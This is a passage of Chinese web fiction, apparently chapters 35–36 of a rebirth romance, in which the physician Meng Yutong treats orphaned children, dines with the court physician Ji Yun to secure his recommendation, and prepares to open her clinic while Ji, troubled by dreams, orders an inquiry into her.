纪昀静听她娓娓道来,原本清冷无波的眸中,清晰地掠过一丝惊艳之色。 他第一次注意到她,是因她开给纪明的那张独到的药方。 医籍考核中她对他所出“气逆呕哕,夜不能寐”之症的独到见解,让他开始正视她的能力。 而此刻,他真真切切地感受到,眼前这女子在医道上的天赋才情,实属万里挑一。 更难得的是,她那份深植于心的“仁”术——她开出的每一张方子,斟酌的每一个治法,都力求在解除病痛的同时,最大程度地减轻病人的苦楚。 她追求的不仅是病症的消除,更是病患在治疗过程中的感受与尊严。如春风化雨,润物无声。 案前那扇支摘窗支开了一半,院中涌动一阵清风,风自窗口缝隙而入,拽着桌面上的药方簌簌而动。 “纪医官,我方才所言可有不妥之处?”她微微侧过半张脸询问,淡青色的云锦袖角自桌面逶迤而下,那柔软的料子不经意间垂落,堪堪触及他的膝头,晃晃荡荡,竟曳出几分痒意。 桌面上的药方墨迹已干,他抬指在纸张边角轻轻按了按,那淡黄的宣纸便服帖地紧压在紫檀木案上,没再翕动半分。 “方药配伍精妙,虑及稚儿脾胃,以平和见长,确为良方。” 孟玉桐闻言,眉眼弯起,笑意盈盈:“那纪医官,这举荐之事……” “孟姑娘开方子时知道讲求循序渐进,徐徐图之,性子却似急了些,”纪昀抬眸,目光淡淡扫过她含笑的眼,“倒与姑娘这行医之道,不甚相称。” 纪昀此人,平日待人虽疏离淡漠,却也恪守礼节。 孟玉桐从前竟不知,他这张嘴刺起人来,亦是如此炉火纯青,字字如针。 ‘徐徐图之’,她口中默念这四字,暗暗瞪了他一眼,旋即转过头去,目光落回小雪身上。 诊案对面,小雪两只小手扒着椅子边缘,悬空的小脚起初只是无意识地轻晃,渐渐地,那幅度越来越大,透着一股子百无聊赖。 她偷偷咽了下口水,一双乌溜溜的大眼睛滴溜溜地瞟向窗外——唔,日头都西斜了,不知今晚秋娘婶婶做了什么好吃的? 好想吃油汪汪、香喷喷的大鸡腿……要是能有两个,该多好呀…… 孟玉桐将她的馋态尽收眼底,唇角微弯。她打开医箱,从最里层取出一个青瓷小碟,碟中码着几块莹白软糯的米糕。 这是她来济安堂前特意备下的,想着堂中孩子多,备些温和的糕点糖果总有用处。 她将小碟递到小雪面前,笑容温煦,声音放得格外轻柔:“可是饿了?姐姐这里有米糕,尝尝?” 小雪晃荡的小脚丫猛地顿住。 她下意识地向前倾身,眼睛紧紧盯着那雪白诱人的糕点,活像只瞧见小鱼干的馋猫儿。 然而,她的小手却怯生生地缩在袖子里,没有立刻去拿,反而飞快地、带着一丝小心翼翼,瞥了一眼旁边端坐的纪昀。 直到纪昀目光微垂,朝她微微颔首,并淡声叮嘱:“稍后便是晚膳,莫贪多。” 小雪如小鸡啄米般点头,伸出小手捧起一块米糕,小口小口、珍惜无比地吃起来,腮帮子很快鼓得像只藏食的小松鼠。 “纪医官,余下的孩子我来诊治吧,你也吃些东西垫垫,稍事歇息。”孟玉桐说着,又从医箱里抓出一小把松子糖,信手撒在他面前的桌角上。 那动作随意得如同在打发邻家孩童。 第35章 第35章纪医官谬赞。 纪昀看着那几颗躺在紫檀木案上的糖果,薄唇微抿,神色明显一顿。 “……” 说罢,孟玉桐不待他反应,已起身轻拍了拍小雪的手背,柔声道:“小雪,去叫下一位小伙伴进来,好吗?” 小雪两颊吃得鼓鼓囊囊,她点点头,从椅子上一跃而下。 这一回,她全然忘了去看纪昀的脸色,一路小跑着出了门。头上那对用红头绳扎起的小抓髻,随着她的步伐欢快地上下跳动。 紧接着进来的是个七八岁大的男孩,染了风寒,不时捂嘴低咳。 孟玉桐温言询问了男孩的年纪姓名,随即凝神诊脉,又仔细察看了他的舌苔咽喉,提笔开方,条理清晰,医嘱详尽周到。 举手投足间,驾轻就熟,竟已颇有几分沉稳干练的坐堂大夫风范。 纪昀见她得心应手,便将今日需诊视的孩童名册递给了孟玉桐。 他此前已诊治了大半,如今只剩下五六人,索性都交由了她。 他难得得了片刻清闲,便安然坐在一旁,静静看着。 许是静坐无聊,他素来不喜甜食,尤其这等孩童零嘴。然而看着案角那几颗晶莹的琥珀色松子糖,竟鬼使神差地拈起一颗,剥开包裹的糯米纸,放入口中。 清甜伴着松仁特有的x油脂香气在舌尖化开,丝丝缕缕,竟奇异地纾解了几分久坐的疲乏。 他惯常冷峻的面容也似染上几分柔和。 一个多时辰过去,孟玉桐或开方,或施针,将名册上的孩童悉数诊毕。 纪昀在一旁瞧着,发现她似乎格外招这些孩子喜欢。 她待人和煦时温柔耐心,如春风拂面,对个别顽劣调皮的又能立时板起脸来,几句轻斥便令其乖乖就范,分寸拿捏得极好,孩子们倒也服帖。 临别时,几个孩子还围着她追问何时再来,那份“喜新厌旧”的热络劲儿,实在令人啧舌。 几个孩子诊治完,孟玉桐开始慢条斯理地收拾自己的医箱。 日光悄然西移,暖金色的夕晖透过支摘窗,斜斜洒入室内。也浅浅在孟玉桐浅青色的衣衫上笼上一层淡金,将她纤瘦的身形勾勒出朦胧缱绻的轮廓。 好似梦中幻影。 梦中…… 纪昀微微眯起眼,心头竟掠过一丝奇异的振动。 孟玉桐故意将动作放得极缓,眼角的余光却偷偷觑向一旁八风不动、好似入了定一般的纪昀。 她心中暗自猜测,举荐一事,他究竟作何打算?怎地连句准话也无? 转念又想,他方才已暗示自己颇为心急,若是再问,只怕惹他不快。况且今日终归是自己迟到在先,还是得耐下性子,想法子补救才是。 于是,她收拾好自己的医箱后,便极其自然地伸出手,将纪昀搁在案上的医箱也拢了过来,替他仔细整理好散落的脉枕、针囊,轻轻合上箱盖。 “纪医官,”她双手托着医箱,恭敬地递到他面前,“今日我有事耽搁来迟了,虽是因为救人,终究违背了昨日之约。不若由我做东,请纪医官吃个便饭,聊表歉意?” 恰在此时,秋娘端着茶水进来,热情地招呼两人留下用晚饭。 孟玉桐见状连忙婉拒:“多谢秋娘好意,只是我们还有些事情,就不叨扰了。” 秋娘闻言,又殷切地看向孟玉桐:“孟姑娘,孩子们都欢喜你呢,缠着我问,您下次还来吗?” 济安堂中的孩子们大多身世孤苦,性子又乖顺,她倒是愿意花些时间,常常来照看一二。 孟玉桐心中一动,顺势看向纪昀,征询道:“纪医官,下次您来济安堂时,可否也叫上我?毕竟堂中女孩儿不少,有些病症,我看诊起来或许更为便宜。” 纪昀目光在她脸上停留一瞬,不知怎的,表情看上去有几分僵硬,他微微颔首:“有劳。” 秋娘自然欢喜,顿时喜笑颜开,连声道好,便不耽误两人的正事,叮嘱二人路上小心便出了屋子。 待秋娘离去,屋内复归安静。 孟玉桐再次看向纪昀,那双清丽的眸子里带着一丝期待:“那……纪医官,现在去用饭么?” 其实举荐一事,她稍作缓和,待后续找机会结识医官院的医官,再寻别的医官代为举荐,也不是不可。 只是她心系医馆开张,五月报名官册之限在即,她不敢耽误时间。眼下找纪昀,于她而言,是最快,也是最方便的法子。 她了解纪昀,他是个极固执又清白的性子,只要让他看见自己的诚心和能力,举荐一事当是可行。 今日迟到一事,待一会儿与他用饭时再解释一二,他不会紧抓不放。 纪昀瞧见她神色恭敬,态度和煦,一眼便知她心中所想。 也好,也可听一听,她打算如何解释今日迟到一事。若她是个空有一身本领,却性子懒散,不尊诺守信之人,他断然也不会同意举荐。 他伸手接过她递来的医箱,指尖无意间掠过她微凉的指尖,动作似是微微一顿,神色却看不出异常,只几不可察地颔首:“嗯。” 见纪昀终于应下,孟玉桐心下稍安。她背起自己的医箱,先一步走出屋,在济安堂大门处等纪昀。 她离去后,纪昀在案前略作停留,这才缓步而出。 两人一前一后步出院门。 暮色渐拢,晚风微凉,吹动门下几株野花,珊珊可爱。 孟玉桐正待询问去向,目光却被墙角处一道清瘦的身影攫住。 一个约莫十七八岁的少年蹲在那里,闻声抬头。只见他生得唇红齿白,眉目清朗,气质干净,正是方才在茶肆中哭得涕泗横流的何浩川。 他此时修整了一番,瞧着纯然清朗,颇有少年风华。 一见孟玉桐出来,何浩川倏地起身,三步并作两步抢上前来,脸上带着十分的感激:“姑娘,我爹醒了,他精神好了许多,我是特地来还您簪子的!” 他边说边从怀中取出一个素净的帕子小包,小心翼翼地一层层掀开,露出里面那支洁净如新的银簪,双手捧着递到孟玉桐面前。 他眼眸微微发亮,生怕孟玉桐嫌弃,“都洗干净了,不脏。” 孟玉桐接过那支银簪,指尖感受到一丝残留的温热,温言问道:“令尊可大安了?” 何浩川面颊微红,收回帕子,连忙道:“好多了!爹爹一直念叨着要亲自来叩谢姑娘救命大恩。只是他才醒,现下身子还虚,实在不便。待他再好些,我定陪他登门拜谢!只是……只是还不知恩人芳名?” “孟玉桐。”她坦然告知。 何浩川眼睛一亮,深深一揖,声音清朗真挚:“孟姑娘!何浩川代家父再谢孟姑娘救命之恩!” 孟玉桐被他这郑重的谢意弄得有些赧然,摆手道:“举手之劳,我本就是大夫,恰巧遇见了而已,不必如此挂怀。令尊平安便好。” 此时,何浩川才注意到孟玉桐身后那道颀长清冷的身影。 他微眯着眼,带着几分少年人特有的好奇打量了一下纪昀,又下意识地后退半步,视线在孟玉桐与纪昀之间来回逡巡了一瞬,忽然恍然大悟般“啊”了一声:“这位公子,我认得您!您是常来我们清风茶肆雅座品茶的那位贵客!” 他转向孟玉桐,笑容灿烂,“这么说来,我前不久也见过孟姑娘。姑娘曾来我们茶肆还伞,对不对?” 纪昀淡淡点头,他常去清风茶肆,虽未深谈,却与何鸿、何浩川父子二人打过许多照面,何浩川每次见他,都十分热情地与他打招呼。 他目光掠过何浩川,最终落在孟玉桐手中的银簪上。 那簪子在暮色中泛着微光,簪身簇着三朵小小桃花,印象中,是第一次见她时她戴在头上的那一支。 结合何浩川所言“救命大恩”,他心中瞬间了然,原来今日她迟到,是为了救清风茶肆的店主何鸿。 此女心性纯然,并非只顾己利,也不是对眼前危难视若无睹之辈。这份临危出手的仁心与担当,于医者而言,尤为可贵。 孟玉桐含笑点头:“小哥记性真好。不过我们还有些事情,就不多叙了,你也快些回去照看令尊吧。” 何浩川闻言,虽有不舍,还是连连点头:“好!好!孟姑娘,公子,二位慢走!” 他再次深深作揖,这才转身,步履轻快地朝着清风茶肆的方向跑去。 何浩川走后,孟玉桐转向纪昀,明眸在浅金色的夕阳中显得格外清亮:“纪医官,此处离和乐楼不远,不如我们去那里用膳?那里的淮扬菜式还算精致。” 纪昀闻言,眉头微蹙。 他敏锐地察觉到,自今日在济安堂起,她对自己的称呼已悄然从“纪公子”换成了“纪医官”。 这三个字被她唤出来,竟让他恍惚间生出几分错觉。 仿佛自己仍在医官院那规整的厅堂内当值,与同僚讨论公务似的。 纪昀捻了捻医箱的带子,压下心头升起的这几分莫名。 他对酒楼并无偏好,只求清净雅致。和乐楼恰恰是他去得最少的地方,无他,只因那楼中常年人声鼎沸,喧嚣过甚。 他并未表露出这些思绪,只点头道:“好。” 两人不再多言,一前一后穿过兴礼坊幽深的巷弄,步入华灯初上的御街。 喧嚣的人声灌入耳旁,各色店铺的灯火映入眼帘。 两人信步走着,很快,对街那栋飞檐斗拱、灯火辉煌、门庭若市的三层高楼便出现在眼前。 楼前悬挂的硕大灯笼上,“和乐楼”三个烫金大字在暮色中分外醒目。 孟玉桐心中记挂着举荐之事,这顿饭自然不能含糊。 她引着纪昀径直上了二楼,避开一楼大堂的喧闹,挑了一间临窗、以竹帘隔断的雅间。 窗外可见御街一角繁华,窗内则清幽不少。 两人在铺设着素色锦缎的坐席上依次落座。一张大圆桌,两人之间隔开了一个位置。 跑堂的伙计眼明手快,捧着厚厚的洒金笺食单趋步上前,脸上堆着殷勤的笑:“二位贵客安好!可要用些茶x水润口?想吃些什么招牌菜?小的给您报报?” 孟玉桐眸光流转,自然而然地落定在斜对面的纪昀身上,唇边噙着一抹礼貌的微笑,并未言语,只以眼神示意伙计:请这位爷点单。 伙计伶俐,忙捧着食单躬身递上。 纪昀并未抬手去接,修长的手指只在那食单边缘轻轻一推,使其滑向孟玉桐方向,声音平淡:“孟姑娘点些合自己口味的便好,纪某并无忌口。” 孟玉桐唇角向下抽动了一下。 无甚忌口?他纪昀怕是没什么能入口的才对! 葱姜蒜不食,笋、山药、茄子……更是碰也不碰。 他不吃便罢了,也不说。 忆起前世在纪府,厨房精心备好一桌佳肴,十有八九总撞上他的忌讳。每逢此时,他便执箸只拨弄碗中莹白米饭,静默得如同玉雕。 孟玉桐心中腹诽:他哪里是“无甚忌口”?分明是“无甚可食”。 这挑剔的毛病,前世纪府上下竟无人知晓。还是她嫁入后,处处留心,才从他那无声的推拒和细微的蹙眉中,一点点将这诸多避讳之物剔拣出来,再细细嘱咐厨下规避。 当真是难伺候至极! 念及此番是自己有求于人,她压下心绪,翻开那食单,略一沉吟,点道: “清炒藕片、酱焖黄牛肉、翡翠芹香溜鸡丝、瑶柱金钩炖玉盅。” 这几道菜,二人享用已是富足有余。 然而孟玉桐话音甫落,忽然想起昨夜山楂一事。纪昀此人,心细如发,洞察秋毫,稍有不慎便会落入他眼中。 她方才信手点来,竟下意识避开了他那些鲜为人知的忌口,点的全是他素日偏爱的菜肴,难保他不会起疑。 她心头微凛,面上却不动声色,指尖在单子上随意一划,仿佛临时起意般补充道:“唔,再加一道山药炒木耳,一道清炒芦笋尖吧。” 伙计闻言,面露难色,好心提醒:“客官,您点的这五菜一汤,莫说二位,便是四五位也尽够了。后头这两道素菜,不如撤下?免得浪费银钱。” 孟玉桐恍然,仿佛才意识到点多了,顺势抬头看向纪昀,询问道:“纪医官饭量如何?可要撤些?” 纪昀的目光若有实质般在她点下的菜名上缓缓扫过。 前四道分明是按序点下,后两道却又折返回去,突兀刻意,倒像是刻意为之。 他眸底那抹探究之色愈发幽深:“孟姑娘后点的那两道撤去即可。你我二人,三菜一汤,足矣。” 孟玉桐仿佛全然未觉他话中深意,从善如流地转向伙计:“便依纪医官所言,撤去后两道素菜。” 伙计连声应“是”,捧着食单快步退了出去。 雅间内一时安静下来。纪昀执起桌上的青瓷茶壶,徐徐注满两盏素瓷茶盏,将其中一杯缓缓推至孟玉桐面前:“今日劳孟姑娘破费了。” 孟玉桐双手接过茶杯,指尖触到温热的杯壁,借机稳住心神,举杯道:“是我未守约在先,以茶代酒,敬纪医官一杯,多谢纪医官宽宏,不与我计较失期之过。” “令祖母那日亲至纪府退婚之后,”纪昀垂眸,注视着盏中沉浮的碧绿茶芽,声音听不出喜怒,“祖父曾嘱咐于我,两家婚约虽解,旧日交情尚在。姑娘若有何难处,纪某力所能及,自当尽力。姑娘不必如此客气。” “尽力”二字,被他念得格外清晰。 又闻“退婚”二字,孟玉桐心湖微澜,却也觉麻木渐生。 她想起近日坊间甚嚣尘上的流言,总觉得纪昀此刻提及此事,隐隐带着一丝诘问之意。 她放下茶杯,抬眼迎上纪昀的视线,语气带着无奈:“纪医官言重了。只是……这几日坊间有些无稽之谈,竟妄称是孟家未能瞧上纪家门楣?纪公子如高山之雪,清贵无俦,令人景仰。实乃我孟家小门小户,福缘浅薄,难以匹配公子风华。更累及公子清名因我受损,玉桐心中着实难安。” 她姿态放得极低,言语恳切,比起抱歉,她更想传达的是:传言非我所愿,更非我所传,我乃受害者,且深明大义,知晓配不上你。 他自然知道这传言不是她传出去的。 他让青书查探过,这是父亲传出去的。 又是一桩古怪。 他尚未理清缘由,此刻听她急于撇清,他眼底掠过一丝难以捉摸的情绪,低头轻啜一口杯中温茶。 茶汤入口,滋味远逊清风茶肆的香醇,回味带着明显的苦涩与粗粝,勉强咽下,只觉差强人意。 他放下茶盏,抬眸,唇角牵起一丝极淡的弧度: “坊间这话说的倒也没错。” 语调分明平平,她却莫名觉出几分刺耳。 她扯了扯嘴角:“倒也不必管旁人如何说。” 孟玉桐目光往屋外扫了一眼,心下微恼:这上菜的伙计怎生如此磨蹭? 两人相对无言,这顿饭吃得实在如坐针毡,颇有几分“话不投机半句多”的意味。 “客官,菜来了!”恰在此时,伙计端着托盘推门而入,手脚麻利地将三菜一汤布于桌面,高喊一声:“二位慢用!”便躬身退下,带上了门。 孟玉桐暗自松了口气,执起银箸,面上浮起浅笑:“纪医官,请。” 两人执筷落箸,席间一时只剩碗筷轻碰的细碎声响。 那道黄牛肉恰好摆在纪昀手边,孟玉桐夹了两筷子藕片,只觉滋味寡淡。 她眼角余光瞟向那盘油光锃亮的牛肉,若要去夹,势必要从他跟前越过,念头刚起便觉不妥,复又移开视线,默默再夹了一筷子藕片。 纪昀眸光淡淡扫过她细微的动作,抬手,自然而然地将她面前的藕片与那碟黄牛肉调换了位置。 “今日是孟姑娘做东,不必拘束。” 孟玉桐从善如流,夹起一块软烂牛肉:“纪医官吃得尽兴便好。” “姑娘上回同我说的香囊方子,味道舒缓,闻之宁神,我让青书替我寻了些荔枝壳,准备配成香。”他顿了顿,语气是征询,“不知姑娘是否介意?若觉不妥,纪某便不用。” 孟玉桐咽下口中食物,从容道:“不介意。能得纪医官青眼,想是我那方子,尚有些可取之处。” 纪昀说的是她幼时配的方子,那时照着医书自己随意调配,手法总归青涩。 而上一世为解他母子二人失眠之苦,她苦心钻研出的改良方子,效用远胜于此,那才是真正的心血,前番送予纪夫人的香枕用的便是此方。 她盘算着,日后医馆开张,可先以此改良方子制些安神香囊赠予街坊,若效果不错,正好打响名头。 至于这幼时旧方,价值有限,予他无妨,还能顺水推舟,为那举荐之事添几分人情。 两人又闲聊了几句济安堂的事,一顿饭就这么不紧不慢地吃完了。 出了和乐楼,天色已暗,长街两侧灯笼次第亮起,晕开一团团暖黄光晕,行人步履匆匆归家。 “孟姑娘去何处?纪某相送一程。”纪昀侧首淡声询问 “去桃花街。”孟玉桐未曾推辞,心下琢磨着,他或许会在路上提及举荐之事。 两人并肩往前,一路行至望仙桥,步入桥心。 河岸晚风微凉,轻拂两人衣角,已能清晰听见桥下聚福客栈内传来叮叮当当的修缮敲打声,正是一派热火朝天。 “就送到此处吧,多谢纪医官。”孟玉桐于桥心停步,朝他颔首。 纪昀亦淡淡颔首,竟真转身,提步便要下桥离去。 孟玉桐心下一沉,紧走两步追上:“纪医官留步,”她声音微提,不再绕弯子,直接问道:“不知举荐一事,纪医官究竟作何打算?今日确是我失约在先,也同纪医官赔礼道歉过了,若您无意举荐,也请明言告知,我好另寻他法,不必彼此耽搁。” 纪昀脚步顿住,缓缓转身望向她。 桥下流水映着两岸灯火与天上疏星,粼粼波光衬得他侧脸轮廓愈发清隽如玉。 “孟姑娘,”他开口,声音依旧清冷,却带着医者的严谨,“行医者,首重然诺。失约一事,终非妥当。” 孟玉桐闻言脸色霍然一沉,心头火起:既然不允,何不早言?平白耗费她这许多辰光!她广袖一甩,再不愿与他多言半句,转身欲走。堪堪转过半身—— “不过,”他清润的声音自身后传来,不疾不徐,“医者仁心,姑娘救人心切,情有可原。如你所愿,纪某会为你举荐上册。” 孟玉桐身形骤然一僵,她倏然闭目,长睫微颤,一丝懊恼与如释重负交织着掠过心尖。 方才那甩袖欲走的姿态,此刻倒显得自己沉不住气了。 脚步胶在石桥上的青石板上,一时间上也不是,下也不是。 她指x尖下意识抚过怀中那方医牌,翻涌的心绪渐渐平复。一股尘埃落定的喜悦才后知后觉地漫溢开来,瞬间冲散了方才的窘迫与愠怒。 她缓缓转回身,语气已恢复平静:“举荐上册一事,不知需要多久?” 纪昀目光掠过她身后那灯火通明、尚在修葺的医馆,答道:“应不误姑娘开馆之期。” “多谢纪医官。”孟玉桐郑重敛衽一礼。 她忽然意识到,医馆开张只是开始,往后诸多事宜,只怕与这医官院、与他这位医官院的中流砥柱都绕不开。 婚约虽退,此人脉却不可断。若能借他之便,结识更多医官院中人,于医馆百利而无一害。 方才实在不该如此冲动。 心头思绪百转,她抬眸,唇角绽开一道略带歉意的浅笑,解释道:“方才桥上似有小虫扰人,我挥袖驱赶,失礼之处,纪医官莫怪。” 纪昀眸光在她脸上一掠而过,眼角似乎淡淡抽了抽,默然半晌,才缓缓应道:“时值初夏,蚊虫渐起,是该小心。” 孟玉桐扯了扯嘴角,又装模作样挥了挥衣袖,“实在恼人,纪医官也注意着些。” 纪昀点头。 桥心夜风微拂,两人相对而立,一时静默。唯有桥下流水潺潺,远处修缮声叮当作响。 片刻,纪昀再度开口,话题却转向了别的:“医籍考核时的最后一题,姑娘那方子倒是别致。重用茯神、远志安神,偏又减了代赭石的沉降,更添佛手、绿萼梅疏肝解呕。这般思路,姑娘是如何想到的?” 孟玉桐回想片刻,答道:“祖母曾患‘气逆呕哕,夜不能寐’之症,寻常大夫多以重镇降逆之药为主,虽能止呕,却伤脾胃。祖母本就年迈脾虚,又有旧伤在身,实在经不起这般折腾。佛手恰能理气而不耗气,绿萼梅疏肝又能和胃,这方子虽简单,却最合她老人家的体质。” 老太太医术湛然,可除了教她,她几乎从不使用和展露。这老毛病拖着久了,孟玉桐便自己做主钻研改进了方子替祖母调理,效用颇佳。 对这番已经检验的方子,她自然信心十足,故而前些时日白芷忧心医籍考核一事时,她却一点也不担心。 只不过,这症状并不常见,也不知出题之人是如何想到这样一道题目的? “姑娘用药娴熟老到,思虑周全,于药性相生相克、全局权衡之道,尤为精熟,”他向来清冷淡然的凤眸中,此刻竟流露出几分不加掩饰的赞赏,“此方之精妙,犹在纪某之上。” 孟玉桐微怔。 恍然间再次听见纪昀的夸赞,不再是前世那浮于表面的“温婉娴静”,而是对她医术真真切切的肯定与钦佩。 这一次,心底却奇异地平静,并未激起多少波澜。 反倒生出几分世事玄妙的感慨。 前世她规行矩步,所思所想皆在如何取悦他人,唯恐行差踏错。 如今循心而行,反倒有一番不一样的风景。 她忽然释然笑了笑,“纪医官谬赞。” 第36章 第36章瑾安公主 与纪昀道别后,孟玉桐信步走向那间正热火朝天装潢着的医馆。 灯火通明处,敲打锯木之声不绝于耳。 白芷刚给做活儿的众人分完茶水,招呼他们歇息,瞧见孟玉桐身影,立刻小跑着迎出来,熟稔地接过她臂弯的医箱,急切问道:“姑娘,您可回来了!今日去见纪公子,他怎么说?可应下举荐的事了?” 孟玉桐脚步微顿,眼帘低垂,唇角轻轻往下一撇,默然不语。 白芷见状,一双圆眼登时瞪得更圆了,她愤然道:“姑娘您医术这般高明,连医籍考核都过了,他为何不答应?难不成是计较您退婚的事?” 她越想越觉得是这么回事,气呼呼地撸起衣袖,“奴婢这就找他理论去!忒不讲理!” 孟玉桐见玩笑开过了头,忙伸手一把将人拽住,连声唤道:“白芷,白芷!我逗你的!他答应了,举荐之事已定。待这边修缮妥当,我们便择个吉日便开张。” “姑娘!”白芷这才停步,微恼地跺了跺脚,嗔怪地抓着她胳膊,在她腰间软肉上不轻不重地掐了一把,“您可真是学坏了!从前您哪儿会这般戏弄人!” 孟玉桐笑着讨饶,顺势转了话头:“今日大伙儿是在庆来饭馆用的饭?” 白芷点头,撇撇嘴道:“午饭晚饭都在那儿对付的。” 她朝对面努了努嘴。此刻戌时已过,过了饭点,庆来饭馆门前冷落。 孙大娘独自一人枯坐在门边小杌子上,手里捏着块抹布,眼神发空,不知在琢磨什么,显得格外投入。 “说起来,”白芷压低声音,带着几分疑惑,“今日那孙大娘格外奇怪,拉着我问东问西,医馆何时开张、您平日都忙些什么、请了多少人手……” 孟玉桐眸光微动:“连着吃了两日,你觉得孙大娘的手艺如何?” “这个嘛……”白芷蹙眉回想,脸上露出几分嫌弃,“晌午那碟清蒸鱼失了鲜气,蔫蔫的;晚上的红烧肉看着还行,入口却柴得很,火候过了头;连最寻常的炒时蔬也寡淡无味,像是在蒸屉里焖久了,水塌塌、烂糟糟的。” 她顿了顿,又道:“不过那几个出力气的倒是不挑,吃得挺香。” “如此看来,”孟玉桐了然,“桃花街往来人并不算少,庆来饭馆生意不好,症结恐怕就在这‘色香味’上,不合街坊邻里的口味了。” 两人说着话,已步入医馆大堂。 只见堂内槅扇已将诊室、药房分隔开来,高大的百眼药柜骨架已立起,靠墙而立。 昨日让吴明采买的脉枕、药碾、铡刀、戥秤等物,都用青布裹着,整齐码放在墙角。 后院方向传来砌墙的声响,显然工程进展神速。 吴明、崔大成和梅三几人正围坐一处,端着粗瓷茶碗饮茶解乏,激烈地讨论着药柜隔板如何加固才更稳当。 一旁的吴林则盘膝坐在地上,面前摊着他那副宝贝龟甲,正神色专注地捻着几枚铜钱,念念有词:“乾位属金,主肃杀,此处放铡刀正合其性。坎位为水,利流通,药柜靠此方位甚好……” 几人听见脚步声,回头见是孟玉桐,纷纷停下动作起身。 崔大成和梅三嗓门洪亮:“孟姑娘回来了!” “当家的!”吴明反应最快,立时接上,脸上堆着笑。 吴林也抬眼看了看孟玉桐,又低头瞥了瞥手中的龟甲与铜钱,捋着稀疏的山羊胡子,喃喃自语道:“嗯,此局尚可,只是药房火气稍旺,若能在院中西南角植一株石榴,取其木气生火又克土,调和阴阳,更为稳妥……” 孟玉桐被吴明那一声“当家的”唤得心头熨帖,唇角笑意真切了几分:“这几日辛苦诸位了。短短两日,医馆竟已初具规模,诸位真是技艺精湛,手脚麻利。待这边一应收拾停当,我们便选个黄道吉日,热热闹闹开张!” 她目光转向捻着胡须的吴林,温声道:“吴先生,可否劳烦您费心,替我们择个开张的吉日良辰?” 吴林闻言,立刻正襟危坐,将龟甲铜钱郑重收起,又掐指默算片刻,很快便抚须笑道:“四月十五,丁卯日,天德合,月德合,宜开业、交易、立券、纳财。且冲煞皆无,正合医馆悬壶济世之业,大吉大利!” “四月十五,”孟玉桐略一盘算,笑意更深,“工期若顺,装潢完毕恰好能留出五日功夫清扫归置、采买药材,时间充裕,甚好!就依先生所言!” “好嘞!就等孟姑娘一声令下!”崔大成搓着手,一脸兴奋。 梅三也笑道:“孟姑娘放心,保管让咱们这照隅堂亮亮堂堂地开起来!” “到时候,街坊们瞧见这新崭崭的医馆,保管都说好!”吴明也附和道,仿佛已看到门庭若市的景象。 望仙桥头,那尚未挂牌的崭新医馆里,传出阵阵充满干劲与希望的爽朗笑声,在这初夏的夜色里格外清晰。 庆来饭馆门前,枯坐着的孙大娘,被对面医馆里飘来的阵阵笑语刺得心头一紧。 她脸上此刻堆满了愁云:这客栈改成医馆,来她家吃饭的人更是少了,自家的营生,怕是要更难了…… * 四月十二,纪府,梧桐院。 夜半子时,万籁俱寂。主屋外,一丛绿竹暗影婆娑,细长的竹叶随风而动,簌簌而响。 主屋榻前,一方青玉小炉静置几上,炉中香已快燃尽,仅余几缕稀薄青烟,袅娜盘桓,终归于无形。 榻上之人,剑眉紧锁,额角沁出细密x冷汗,修长的手指无意识地死死攥紧了身下锦缎被褥,骨节泛着冷白。 纪昀深陷梦魇。 又是那个雨夜,又见到兄长的脸。 都是他的错,都是他的错! 他紧握的拳头不受控制地抬起,一下,又一下,重重地捶向自己心口。 他甚至荒谬地想着:若那时随兄长一同去了,是否便得解脱? 悔恨和沉溺的情绪像是一张巨大的网,将他死死包裹,不留一丝空隙。 他喘不过气,他脑中一片空白。 “夫君,夫君,你怎么了?”耳边传来声声女子的温柔呼唤,如同一道穿透浓雾的光,渐渐将他混乱的意识拉回。 模糊感觉到一只微凉柔软的手正轻轻拢着他的背脊,安抚般地拍着。 那动作带着一种令人安心的力量,让他紧绷的精神终于缓缓松弛下来。 他想睁开眼,却似乎有千钧重量压在身上,挣扎许久,才拉开一丝极小的缝隙。 那女子的样貌朦胧难辨,只依稀能看见她有一双极大的眼睛…… 她是谁?为何喊他‘夫君’? 不对,他犹在梦中! 纪昀猛地睁开双眼,惊坐而起。 冷汗早已浸透中衣,紧贴着冰凉的背脊。他深深喘出几口气,下意识望向小几,只见那香炉中的香灰已然冷透。 孟玉桐这药香方子他用了好些时日,效用甚好,这段时日倒是能睡一夜安稳觉了。 怎么今日又…… 他静坐良久,胸膛起伏不定,心口却像是缺了一块,久久未能平息。 翌日清晨,四月十四,晨光熹微,透过梧桐院内雕花窗棂洒下道道金线。 枝头鸟雀啁啾,清脆悦耳。 青书如常,在书房内仔细收拾着纪昀去医官院需用的物事:黄梨木嵌螺钿医箱、几卷脉案、笔墨纸砚……动作一丝不苟。 纪昀推门而入时,青书抬眼便瞧见他眼下两抹淡淡的乌青,手中动作不由一顿,忧声道:“公子昨夜又未睡好?瑾安公主所赐的安神引效用极佳,公子何不……” 话未说完,便见纪昀已两步走至乌木书案后,在那张宽大的紫檀官帽椅上坐下,抬手用指节在紧蹙的眉心处重重按了按。 连日怪梦缠身,母亲态度的变化,父亲向外散播他退婚消息的举动……这一切,究竟是从何时开始,那原本按部就班的日子,波澜不惊的日子忽然生了变故? 思绪沉浮间,他脑中细细回想。变故似乎并非只发生在纪家。 他倏然抬眼,凤眸闪过一丝清明,直直转向青书:“你今日不必随我去医官院。替我去查一查孟家,尤其是那位孟姑娘。近半年来所有动向、性情转变、接触何人、习得何术……桩桩件件,务必查清,事无巨细回禀。” 她的医术,性子的忽然转变,对他习性的熟知……桩桩件件的巧合凑在一起,难免令人生疑。 青书并未像往常般立刻躬身应“是”。 他默然片刻,瘦削的肩膀几不可察地绷紧了一下,才低声道:“公子,今日是入宫为瑾安公主请平安脉的定例,往常皆是小的随侍在侧。查探孟姑娘一事可否交由云舟去办?” 他本就清癯的面容在晨光下更显苍白,带着几分病弱之气。 屋中寂然无声,檐下一从鸟雀忽而跃起,一阵翅翼煽动的哗然声响打破了沉寂。 纪昀按在眉心的手缓缓放下,搁在光滑冰凉的乌木案几上。 他抬起眼,寒潭深水般的目光带着无形的压力,直直凝视着青书的眼,声音不高,却透着威严:“今日,云舟随侍入宫。” 青书眼皮一颤,面色更白一分,忙不迭深深揖了下去,“小的僭越,请公子恕罪,小的这便去办。” 他迅速将已收拾妥当的医箱和一应文牍笔墨恭敬地置于纪昀面前案头:“公子,小的这就去唤云舟过来听候差遣。” “嗯。”纪昀淡淡应了一声。 青书走后,纪昀的目光落在面前那方黄梨木嵌螺钿的医箱上,指尖无意识地抚上箱盖上那枚冰凉的如意云头铜锁扣,轻轻摩挲着,眉头却越皱越紧。 